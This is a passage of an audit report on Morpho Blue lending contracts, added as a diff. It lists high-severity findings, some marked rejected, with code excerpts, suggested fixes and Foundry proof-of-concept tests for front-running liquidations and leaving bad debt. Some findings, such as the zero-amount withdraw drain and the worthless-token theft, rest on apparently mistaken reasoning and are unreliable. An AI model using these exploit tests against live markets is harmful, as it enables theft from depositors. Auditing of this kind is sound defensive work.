+ _accrueInterest(marketParams, id);
+
+ position[id][onBehalf].collateral -= assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+
+ emit EventsLib.WithdrawCollateral(id, msg.sender, onBehalf, receiver, assets);
+
+ IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+}
+```
+As time passes, with the addition of more collateral and the accumulation of significant interest, the delegated authority can grow beyond what the delegator originally intended.
+
+This characteristic increases the likelihood of issues under certain conditions. For instance, if a user with wallet address 0x1111 delegates authority to a user with wallet address 0x2222, and the private key of 0x2222 is compromised, it can lead to financial harm to the 0x1111 wallet, even without the compromise of the 0x1111's private key.
+
+The Morpho Team needs to consider these possibilities and implement safer code regarding the delegation of authority.
+
+**Recommendation**: There should be strict limitations in the code regarding the Receiver designated during Borrow, Withdraw, and WithdrawCollateral actions, along with restrictions on the amount that can be transacted and the markets that can be accessed.
+Also, Authorization Expire function should be implemented.
+
+
+
+### A lender can drain all balance of the loan tokens in the Market by calling the Morpho#`withdraw()` with `0` amount (`assets`)
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description:
+When a lender is willing to withdraw their loan tokens, the lender would call the Morpho#`withdraw()` with the `assets` parameter and the `receiver` parameter and so on.
+Within the Morpho#`withdraw()`, the `assets` of the loan token would be transferred to the `receiver` like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L199 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L224
+```solidity
+ /// @inheritdoc IMorphoBase
+ function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets, ///<---------- @audit
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ ...
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares); ///<---------- @audit - This line would be called if a given amount (assets) == 0.
+ ...
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets); ///<---------- @audit
+ ...
+```
+
+Within the Morpho#`withdraw()` above, if a given amount of the loan token-assigned into the `assets` parameter would be `0`, `0` amount (`assets`) of the loan token is supposed to be transferred to the `receiver`. (This means that the `receiver` is supposed to not receive more than `0` amount (`assets`) of the loan token)
+
+However, within the Morpho#`withdraw()` above, if a given amount of the loan token-assigned into the `assets` parameter would be `0`, the `assets` would be recalculated and then new value would be stored into the `assets` like this: \
+(NOTE:This recalculated `assets` below would be more than `0`) \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L214
+```solidity
+else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+```
+And then, the recalculated-`assets` of the loan token would be transferred to the `receiver` like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L224
+```solidity
+IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+```
+
+This is problematic. Because an existing lender can receive more than `0` amount (`assets`) of the loan token even if the existing lender would assign `0` into the `assets` parameter when the existing lender would call the Morpho#`withdraw()`.
+
+In the worst case, a malicious existing lender would be able to call the Morpho#`withdraw()` with `0` amount (`assets`) again and again until the malicious existing lender drain all balance of the loan token in the Market.
+
+
+- Impact:
+A malicious existing lender can drain all balance of the loan tokens in the Market by calling the Morpho#`withdraw()` with `0` amount (`assets`)
+
+
+- Recommendation:
+Within the Morpho#`withdraw()`, consider storing `0` into the `assets` if a given amount (`assets`) would be `0` like this:
+```diff
+ function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ ...
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
++ else assets = 0;
+- else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ ...
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets); ///<---------- @audit
+ ...
+```
+
+
+
+### Attacker Can Sandwich and perform liquidation for other user position
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Can borrow and repay at the same block, will increase totalBorrowAssets, totalBorrowShares
+Open for liquidation sandwich using flashloan
+
+```js
+File: Morpho.sol
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+514: internal
+515: view
+516: returns (bool)
+517: {
+518: uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+519: market[id].totalBorrowAssets, market[id].totalBorrowShares
+520: );
+521: uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+522: .wMulDown(marketParams.lltv);
+523:
+524: return maxBorrow >= borrowed;
+525: }
+```
+
+**Recommendation**:
+
+User deposits could have a minimum lock time in the protocol to prevent an immediate withdraw.
+
+
+
+### Supplier can avoid bad debt by front-running liquidation _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+A vulnerability in the liquidation process allows a supplier to evade their share of bad debt in the event of a borrower's liquidation. This issue arises when, after the liquidation of a borrower's entire collateral, there remains outstanding borrowed shares. In such cases, the resulting bad debt is distributed among all suppliers of the market, effectively socializing the loss.
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L386-L398
+
+
+However, a supplier who observes pending liquidation transactions can exploit this mechanism. By front-running the liquidation process and withdrawing their liquidity from the market, a supplier can completely avoid incurring any bad debt. This behavior disproportionately burdens remaining suppliers with greater losses.
+
+POC:
+
+Create a file test in test/forge folder: `test/forge/SocializeCostAvoidance.t.sol`
+Run `forge test -vvvvv --match-path test/forge/SocializeCostAvoidance.t.sol --match-test testLiquidationAvoidSocializingCost`
+
+```javascript
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../../lib/forge-std/src/Test.sol";
+import "../../lib/forge-std/src/console.sol";
+
+import {IMorpho, MarketParams, Id} from "../../src/interfaces/IMorpho.sol";
+import {Morpho, ORACLE_PRICE_SCALE} from "../../src/Morpho.sol";
+import "../../src/interfaces/IMorphoCallbacks.sol";
+import {IrmMock} from "../../src/mocks/IrmMock.sol";
+import {ERC20Mock} from "../../src/mocks/ERC20Mock.sol";
+import {OracleMock} from "../../src/mocks/OracleMock.sol";
+
+import {Math} from "./helpers/Math.sol";
+import {SigUtils} from "./helpers/SigUtils.sol";
+import {ArrayLib} from "./helpers/ArrayLib.sol";
+import {MorphoLib} from "../../src/libraries/periphery/MorphoLib.sol";
+import {MorphoBalancesLib, MathLib, SharesMathLib, MarketParamsLib} from "../../src/libraries/periphery/MorphoBalancesLib.sol";
+
+
+contract POC is Test {
+
+ using Math for uint256;
+ using MathLib for uint256;
+ using SharesMathLib for uint256;
+ using ArrayLib for address[];
+ using MorphoLib for IMorpho;
+ using MorphoBalancesLib for IMorpho;
+ using MarketParamsLib for MarketParams;
+
+ uint256 internal constant BLOCK_TIME = 1;
+ uint256 internal constant HIGH_COLLATERAL_AMOUNT = 1e35;
+ uint256 internal constant MIN_TEST_AMOUNT = 100;
+ uint256 internal constant MAX_TEST_AMOUNT = 1e28;
+ uint256 internal constant MIN_TEST_SHARES = MIN_TEST_AMOUNT * SharesMathLib.VIRTUAL_SHARES;
+ uint256 internal constant MAX_TEST_SHARES = MAX_TEST_AMOUNT * SharesMathLib.VIRTUAL_SHARES;
+ uint256 internal constant MIN_TEST_LLTV = 0.01 ether;
+ uint256 internal constant MAX_TEST_LLTV = 0.99 ether;
+ uint256 internal constant DEFAULT_TEST_LLTV = 0.8 ether;
+ uint256 internal constant MIN_COLLATERAL_PRICE = 1e10;
+ uint256 internal constant MAX_COLLATERAL_PRICE = 1e40;
+ uint256 internal constant MAX_COLLATERAL_ASSETS = type(uint128).max;
+
+ address internal SUPPLIER;
+ address internal SUPPLIER2;
+ address internal BORROWER;
+ address internal REPAYER;
+ address internal ONBEHALF;
+ address internal RECEIVER;
+ address internal LIQUIDATOR;
+ address internal OWNER;
+ address internal FEE_RECIPIENT;
+
+ IMorpho internal morpho;
+ ERC20Mock internal loanToken;
+ ERC20Mock internal collateralToken;
+ OracleMock internal oracle;
+ IrmMock internal irm;
+
+ MarketParams internal marketParams;
+ Id internal id;
+
+ function setUp() public {
+ SUPPLIER = makeAddr("Supplier");
+ SUPPLIER2 = makeAddr("Supplier2");
+ BORROWER = makeAddr("Borrower");
+ LIQUIDATOR = makeAddr("Liquidator");
+ OWNER = makeAddr("Owner");
+ FEE_RECIPIENT = makeAddr("FeeRecipient");
+
+ morpho = IMorpho(address(new Morpho(OWNER)));
+
+ loanToken = new ERC20Mock();
+ vm.label(address(loanToken), "LoanToken");
+
+ collateralToken = new ERC20Mock();
+ vm.label(address(collateralToken), "CollateralToken");
+
+ oracle = new OracleMock();
+
+ oracle.setPrice(ORACLE_PRICE_SCALE);
+
+ irm = new IrmMock();
+
+ vm.startPrank(OWNER);
+ morpho.enableIrm(address(irm));
+ morpho.setFeeRecipient(FEE_RECIPIENT);
+ vm.stopPrank();
+
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ vm.startPrank(SUPPLIER);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(SUPPLIER2);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+ changePrank(BORROWER);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+
+ changePrank(LIQUIDATOR);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+
+
+ // Create market
+ uint256 lltv = DEFAULT_TEST_LLTV;
+ marketParams = MarketParams(address(loanToken), address(collateralToken), address(oracle), address(irm), lltv);
+ id = marketParams.id();
+
+ vm.startPrank(OWNER);
+ if (!morpho.isLltvEnabled(lltv)) morpho.enableLltv(lltv);
+ if (morpho.lastUpdate(marketParams.id()) == 0) morpho.createMarket(marketParams);
+ vm.stopPrank();
+ }
+
+ function testLiquidationAvoidSocializingCost() public { // report
+ loanToken.setBalance(SUPPLIER, 10e18);
+ vm.prank(SUPPLIER);
+ (uint256 supplyAsset1, uint256 supplyShare1) = morpho.supply(marketParams, 10e18, 0, SUPPLIER, hex"");
+
+ loanToken.setBalance(SUPPLIER2, 10e18);
+ vm.prank(SUPPLIER2);
+ (uint256 supplyAsset2, uint256 supplyShare2) = morpho.supply(marketParams, 10e18, 0, SUPPLIER2, hex"");
+
+ collateralToken.setBalance(BORROWER, 10e18);
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, 10e18, BORROWER, hex"");
+ morpho.borrow(marketParams, 8e18, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ _forward(50);
+ oracle.setPrice(ORACLE_PRICE_SCALE/2);
+
+ uint256 withdrawAsset1;
+ uint256 withdrawAsset2;
+
+ // CASE when both SUPPLIER and SUPPLIER2 has their assets reducing because of bad debts
+ uint256 snapshot = vm.snapshot();
+ loanToken.setBalance(LIQUIDATOR, 10e18);
+ vm.prank(LIQUIDATOR);
+ morpho.liquidate(marketParams, BORROWER, 10e18, 0, hex"");
+
+ vm.prank(SUPPLIER);
+ (withdrawAsset1,) = morpho.withdraw(marketParams, 0, supplyShare1, SUPPLIER, SUPPLIER);
+
+ vm.prank(SUPPLIER2);
+ (withdrawAsset2,) = morpho.withdraw(marketParams, 0, supplyShare2, SUPPLIER2, SUPPLIER2);
+
+ console.log("supplyAsset1: ", supplyAsset1); // 10000000000000000000
+ console.log("withdrawAsset1: ", withdrawAsset1); // 8350000000000000000
+ console.log("supplyAsset2: ", supplyAsset2); // 10000000000000000000
+ console.log("withdrawAsset2: ", withdrawAsset2); // 8350000000000000001
+
+ // Bad debt is socialized to supplier1 and supplier2, each has its assets reducing from 10e18 to 8.35e18
+ assert(supplyAsset1 > withdrawAsset1);
+ assert(supplyAsset2 > withdrawAsset2);
+
+ // Case SUPPLIER front-run the bad debt liquidation
+ vm.revertTo(snapshot);
+
+ vm.prank(SUPPLIER);
+ (withdrawAsset1,) = morpho.withdraw(marketParams, 0, supplyShare1, SUPPLIER, SUPPLIER);
+
+ loanToken.setBalance(LIQUIDATOR, 10e18);
+ vm.prank(LIQUIDATOR);
+ morpho.liquidate(marketParams, BORROWER, 10e18, 0, hex"");
+
+ vm.prank(SUPPLIER2);
+ (withdrawAsset2,) = morpho.withdraw(marketParams, 0, supplyShare2, SUPPLIER2, SUPPLIER2);
+
+ console.log("supplyAsset1 front-run: ", supplyAsset1); // 10000000000000000000
+ console.log("withdrawAsset1 front-run: ", withdrawAsset1); // 10000002536784163007
+ console.log("supplyAsset2: ", supplyAsset2); // 10000000000000000000
+ console.log("withdrawShare2: ", withdrawAsset2); // 6699997463215836994
+
+ // SUPPLIER2 has all the bad debt loss, SUPPLIER has no loss
+ assert(supplyAsset1 < withdrawAsset1);
+ assert(supplyAsset2 > withdrawAsset2);
+ }
+
+ /// @dev Rolls & warps the given number of blocks forward the blockchain.
+ function _forward(uint256 blocks) internal {
+ vm.roll(block.number + blocks);
+ vm.warp(block.timestamp + blocks * BLOCK_TIME); // Block speed should depend on test network.
+ }
+}
+```
+
+**Recommendation**:
+
+It's recommended to implement a mechanism such as a withdrawal queue or withdrawal delay. This change would prevent suppliers from being able to front-run the liquidation process, thereby ensuring a fair and equitable distribution of bad debt among all suppliers.
+
+
+
+### Inaccurate calculations for rebase or Fee-on-Transfer tokens _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The Morpho protocol encounters issues with accurate accounting when interacting with certain ERC20 tokens, specifically `rebase` and `fee-on-transfer` tokens. The problem arises in operations such as supplying, withdrawing, borrowing, repaying loans, and managing collateral within the market. The core functions affected include recording the amount of tokens in `market[id].totalSupplyAssets` and `position[id][onBehalf].collateral`.
+
+ market[id].totalSupplyAssets += assets.toUint128();
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L185
+
+ market[id].totalSupplyAssets -= assets.toUint128()
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L218
+
+ market[id].totalBorrowAssets += assets.toUint128();
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L253
+
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L285
+
+ position[id][onBehalf].collateral += assets.toUint128();
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L310
+
+ position[id][onBehalf].collateral -= assets.toUint128();
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L332
+
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L382
+
+However, if the loan or collateral tokens are one of the weird ERC20 tokens, the accounting will be wrong.
+
+In case of Fee-on-Transfer Tokens: These tokens reduce the amount transferred as a fee. Thus, the actual amount received or sent by the Morpho contract differs from the `assets` value, leading to an overestimation in `totalSupplyAssets` and `collateral`. This discrepancy affects critical operations like asset withdrawal and share-to-asset conversion.
+
+In case of Rebase Tokens: When these tokens decrease in value while in the market, the same problem as above occurs. Conversely, if they increase in value, this positive change is not reflected in the protocol's accounting.
+
+**Recommendation**:
+
+- Documentation Update: Clearly state in the Morpho protocol documentation that fee-on-transfer and rebase tokens are not compatible with the system. This clarity will prevent users from inadvertently introducing accounting errors.
+
+- Handling Rebasing Tokens: If accommodating rebase tokens is necessary, implement balance checks before and after transfers.
+
+
+
+### Liquidator could leave the account unhealthy after liquidation. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Links to affected code
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L387
+* * *
+- Summary
+Morpho Blue, designed to handle bad debt, has a mechanism to account for and realize bad debt events. If a user's position is unhealthy (1/LIF < LTV), a liquidator could partially pay the debt and seize all collateral. The code includes a check: `if (position[id][borrower].collateral == 0)`. If true, indicating complete collateral seizure, bad debt is handled. The issue arises as a malicious liquidator could liquidate an account, taking almost all collateral, leaving just 1 unit. This results in remaining bad debt within the protocol.
+
+- Impact
+Maintaining zero bad debt is crucial in Morpho. However, the protocol may retain bad debt if a malicious liquidator seizes nearly all collateral, leaving only 1 unit. There is no incentive to pay off this remaining collateral, undermining the core principle of zero bad debt.
+
+- POC
+Add the following test to LiquidateIntegrationTest:
+```solidity
+function testTEST() public {
+ uint256 amountCollateral = 1e17;
+ uint256 amountSupplied = 1e18;
+ uint256 amountBorrowed = 5e17;
+ uint256 priceCollateral = 1e18;
+ uint256 lltv = 9e17;
+ _setLltv(_boundTestLltv(lltv));
+ LiquidateBadDebtTestParams memory params;
+
+ (amountCollateral, amountBorrowed, priceCollateral) =
+ _boundUnhealthyPosition(amountCollateral, amountBorrowed, priceCollateral);
+
+ // vm.assume(amountCollateral > 1);
+
+ params.liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+ params.expectedRepaid =
+ amountCollateral.mulDivUp(priceCollateral, ORACLE_PRICE_SCALE).wDivUp(params.liquidationIncentiveFactor);
+
+ uint256 minBorrowed = Math.max(params.expectedRepaid, amountBorrowed);
+ amountBorrowed = bound(amountBorrowed, minBorrowed, Math.max(minBorrowed, MAX_TEST_AMOUNT));
+
+ amountSupplied = bound(amountSupplied, amountBorrowed, Math.max(amountBorrowed, MAX_TEST_AMOUNT));
+ _supply(amountSupplied);
+
+ loanToken.setBalance(LIQUIDATOR, amountBorrowed);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ oracle.setPrice(type(uint256).max / amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ oracle.setPrice(priceCollateral);
+
+ vm.prank(LIQUIDATOR);
+
+ (uint256 returnSeized, uint256 returnRepaid) =
+ morpho.liquidate(marketParams, BORROWER, amountCollateral-1, 0, hex"");
+
+ assertEq(returnSeized, amountCollateral-1, "returned seized amount");
+ assertEq(morpho.collateral(id, BORROWER), 1, "collateral");
+ assertEq(collateralToken.balanceOf(address(morpho)), 1, "morpho collateral balance");
+ assertEq(collateralToken.balanceOf(LIQUIDATOR), amountCollateral-1, "liquidator collateral balance");
+
+ // Bad debt realization.
+ console2.log("BORROWER borrow shares",morpho.borrowShares(id, BORROWER));
+ console2.log("BORROWER borrow collateral",morpho.collateral(id, BORROWER));
+ }
+```
+Logs:
+```
+Running 1 test for test/forge/integration/LiquidateIntegrationTest.sol:LiquidateIntegrationTest
+[PASS] testTEST() (gas: 592273)
+Logs:
+ BORROWER borrow shares 499999999999999999000000
+ BORROWER borrow collateral 1
+```
+
+- Tools Used
+Manual review
+
+- Recommendations
+Implement a check to ensure account health post-liquidation. If the account remains healthy, it signifies correct liquidation by the executor. If not healthy, it indicates an incorrect action, and the function should revert, preventing the retention of bad debt.
+
+
+
+### A malicious actor can create a new Market with an malicious Oracle address, which lead to a Oracle price manipulation _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L150-L150](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L150-L150)
+
+- Description:
+
+Within the IMorpho interface, the `MarketParams` struct would be defined like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/interfaces/IMorpho.sol#L6
+```solidity
+struct MarketParams {
+ address loanToken;
+ address collateralToken;
+ address oracle;
+ address irm;
+ uint256 lltv;
+}
+```
+
+The owner (DAO) would call the `enableIrm()` in order to add a new IRM (`irm`) to the whitelist (`isIrmEnabled`) like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L107
+```solidity
+ /// @inheritdoc IMorphoBase
+ function enableIrm(address irm) external onlyOwner {
+ require(!isIrmEnabled[irm], ErrorsLib.ALREADY_SET);
+
+ isIrmEnabled[irm] = true; ///<--------------- @audit
+ ...
+```
+
+Also, the owner (DAO) would call the `enableLltv()` in order to add a new LLTV (`lltv`) to the whitelist (`isLltvEnabled`) like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L117
+```solidity
+ /// @inheritdoc IMorphoBase
+ function enableLltv(uint256 lltv) external onlyOwner {
+ require(!isLltvEnabled[lltv], ErrorsLib.ALREADY_SET);
+ require(lltv < WAD, ErrorsLib.MAX_LLTV_EXCEEDED);
+
+ isLltvEnabled[lltv] = true; ///<--------------- @audit
+ ...
+```
+
+Within the Morpho#`createMarket()`, there are the input validations to check whether or not the IRM (`marketParams.irm`) and the LLTV (`marketParams.lltv`) would be the whitelisted address and value like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L152 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L153
+```solidity
+ /// @inheritdoc IMorphoBase
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED); ///<--------------- @audit
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED); ///<--------------- @audit
+ ...
+ }
+```
+
+Since the `marketParams` (the `MarketParams` struct) would be assigned as a parameter when the Morpho#`createMarket()`, an **oracle address** (`marketParams.oracle`) assigned is also supposed to be checked whether or not the **oracle address** (`marketParams.oracle`) assigned would be a whitelisted-oracle address.
+
+However, within the Morpho#`createMarket()`, there is no input validation to check whether or not an **oracle address** (`marketParams.oracle`) assigned would be a whitelisted-oracle address.
+This allow a malicious actor to create a new Morpho's Lending Market with a **malicious oracle address** that was deployed by the malicious actor and it's easy for the malicious actor to be able to control the price and manipulate it.
+
+This lead to a huge loss of the users who lend/borrow/liquidate in the Morpho's Lending Market above due to the Oracle price manipulation.
+
+At the moment, the oracle price would be used in the following functions to judge whether or not a borrower's debt position would be liquidatable:
+- Morpho#`_isHealthy()` \
+ https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L504
+
+- Morpho#`liquidate()` \
+ https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L357
+
+If a malicious actor who created the Market would intentionally provide very lower price of the collateralToken via the malicious oracle address, a lot of borrower's debt position in the Market above would _**"suddenly"**_ be liquidatable status and immediately liquidated by a liquidator bot (a MEV bot) that has watched the statuses of each borrower's debt position.
+
+
+- Recommendation:
+Within the Morpho contract, consider adding a function that enable the owner (DAO) to add an **oracle address** to the whitelist like this:
+```diff
++ mapping(address => bool) public isOracleEnabled;
+
+ ...
++ function enableOracle(address oracle) external onlyOwner {
++ require(!isOracleEnabled[oracle], ErrorsLib.ALREADY_SET);
+
++ isOracleEnabled[oracle] = true;
+
++ emit EventsLib.EnableOracle(oracle);
++ }
+```
+
+And then, within the Morpho#`createMarket()`, consider adding an input validation to check whether or not an **oracle address** (`marketParams.oracle`) assigned would be a whitelisted-oracle address like this:
+```diff
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
++ require(isOracleEnabled[marketParams.oracle], ErrorsLib.ORACLE_NOT_ENABLED);
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ ...
+ }
+```
+
+
+
+
+
+
+### attacker can steal assets by using worthless token as `marketParams's.loanToken`
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L166-L166](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L166-L166), [Morpho.sol#L266-L266](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L266), [Morpho.sol#L300-L300](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L300-L300)
+
+**Description**:
+
+This issue is happened in function `supply`, `repay`, and `supplyCollateral`, I will take function `supply` as example.
+
+`supply` function doesn't validate `marketParams.loanToken`, **Because the function doesn't valide `marketParams's.loanToken`, a malicious user can using worthless token as `marketParams's.loanToken` to call the function**.
+
+`supply` function blindly trust `marketParams`, and will update the `onBehalf's` position at [Morpho.sol#L183](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L183), and then at [Morpho.sol#L191](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L191), the function calls `safeTransferFrom` on `marketParams.loanToken`. If worthless token is supplied as `marketParams's.loanToken`, the code will transfer the worthless token.
+
+And after calling `supply`, the attack can call `withdraw` with real `market.loanToken` to steal assets.
+
+
+```solidity
+165 /// @inheritdoc IMorphoBase
+166 function supply(
+167 MarketParams memory marketParams,
+168 uint256 assets,
+169 uint256 shares,
+170 address onBehalf,
+171 bytes calldata data
+172 ) external returns (uint256, uint256) {
+173 Id id = marketParams.id();
+174 require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+175 require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+176 require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+177
+178 _accrueInterest(marketParams, id);
+179
+180 if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+181 else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+182
+183 position[id][onBehalf].supplyShares += shares; <<<--- Here update the position
+184 market[id].totalSupplyShares += shares.toUint128();
+185 market[id].totalSupplyAssets += assets.toUint128();
+186
+187 emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+188
+189 if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+190
+191 IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets); <<<--- Here transfer the token
+192
+193 return (assets, shares);
+194 }
+```
+
+**Recommendation**:
+
+Using `id` instead of `marketParams`
+
+```diff
+diff --git a/src/Morpho.sol b/src/Morpho.sol
+index f755904..aa53ce5 100644
+--- a/src/Morpho.sol
++++ b/src/Morpho.sol
+@@ -164,13 +164,13 @@ contract Morpho is IMorphoStaticTyping {
+
+ /// @inheritdoc IMorphoBase
+ function supply(
+- MarketParams memory marketParams,
++ Id id,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+- Id id = marketParams.id();
++ MarketParams memory marketParams = idToMarketParams[id];
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+
+
+### All functionalites regarding the protocol when it comes to loan/collateral tokens could be massively flawed
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+From protocol's [code]() and [docs]() we can see that each to create a market, one must specify: a loan token, a collateral
+token, an `oracle`, a `LLTV` and an `IRM`. Both `LLTV` and `IRM` are chosen from governance-defined collections.
+
+Now quoting the below from the _Introducing Morpho Blue_ section of the whitepaper, we can see that three features of a market are **unchangeable** after.
+
+![](https://user-images.githubusercontent.com/107410002/284491333-768fed64-ef89-4b8e-8f45-4c959903e85e.png)
+
